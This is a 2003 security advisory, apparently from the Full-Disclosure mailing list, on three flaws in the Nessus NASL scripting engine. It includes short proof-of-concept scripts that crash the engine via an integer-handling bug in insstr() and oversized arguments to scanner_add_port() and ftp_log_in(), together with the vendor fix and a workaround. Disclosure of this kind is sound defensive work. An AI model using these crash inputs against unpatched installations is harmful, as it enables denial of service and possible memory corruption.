// @(#)Security advisory: Nessus NASL scripting engine security issues Release date: May 23, 2003 Name: Nessus NASL scripting engine security issues Author: Sir Mordred <mordred@s-mail.com> I. DESCRIPTION The "Nessus" Project aims to provide to the internet community a free, powerful, up-to-date and easy to use remote security scanner. Nessus is very fast, reliable and has a modular architecture that allows you to fit it to your needs. Please visit http://www.nessus.org for more information about Nessus. II. DETAILS There exists some vulnerabilities in NASL scripting engine. To exploit these flaws, an attacker would need to have a valid Nessus account as well as the ability to upload arbitrary Nessus plugins in the Nessus server (this option is disabled by default) or he/she would need to trick a user somehow into running a specially crafted nasl script. Not that these issues can NOT be exploited by a tested host to crash nessusd remotely. * ISSUE 1 - Integer handling vulnerability in insstr() function Vulnerability is triggered by a negative fourth argument: $ cat t1.nasl insstr("aaaaaaaaaaa", "bb", 3, 0xfffffffd); $ nasl t1.nasl ** WARNING : packet forgery will not work ** as NASL is not running as root [1384](t1.nasl) insstr: warning! 1st index 3 greater than 2nd index -3 Segmentation fault (core dumped) * ISSUE 2 - Buffer overflow in scanner_add_port() function Overflow is triggered by very long 'proto' argument: $ cat t2.nasl scanner_add_port(port : 80, proto : crap(data:'A', length:300)); $ nasl t2.nasl ** WARNING : packet forgery will not work ** as NASL is not running as root Segmentation fault (core dumped) * ISSUE 3 - Buffer overflow in ftp_log_in() function Overflow is triggered by very long 'user'/'pass' arguments: $ cat t3.nasl ftp_log_in(socket : open_sock_tcp(21), pass : "11", user: crap(data:'A',length:8192)); $ nasl t3.nasl ** WARNING : packet forgery will not work ** as NASL is not running as root Segmentation fault (core dumped) III. VERSIONS TESTED Linux RedHat 7.2 $ nasl -v | grep nasl nasl 2.0.5 IV. VENDOR STATUS New nessus 2.0.6 packages fixes these issues. V. WORKAROUND Make sure the option 'plugins_upload' is set to 'no' in nessusd.conf and don't run unstrusted nasl scripts. VI. CREDITS Hank Leininger <hlein@progressive-comp.com> requested the source code audit for some opensource projects and for nessus in particular. Sir Mordred <mordred@s-mail.com> discovered the issues. Renaud Deraison <deraisonat_private> fixed them in an hour after being notified. VII. ABOUT I offering the absolutely free source code audit for opensourced products. The programming languages acceptable for audit are: Perl, Python, PHP, ASP, C/C++, Java. I will accept almost any code in these languages which runs on Unix/Windows platforms. All you need is to send the email to mordred@s-mail.com with the subject "Security audit: source code" and get the form in which you will answer several questions, such as the description of the product, the details of obtaining the source code, acceptable period of audit and so on. After audit, you will receive the full description of vulnerabilities found, along with the advices that will help you to fix them properly. When you fix the vulnerabilities there should be released a public security advisory in which the fix information will be contained and also i will be properly credited. ________________________________________________________________________ This letter has been delivered unencrypted. We'd like to remind you that the full protection of e-mail correspondence is provided by S-mail encryption mechanisms if only both, Sender and Recipient use S-mail. Register at S-mail.com: http://www.s-mail.com _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
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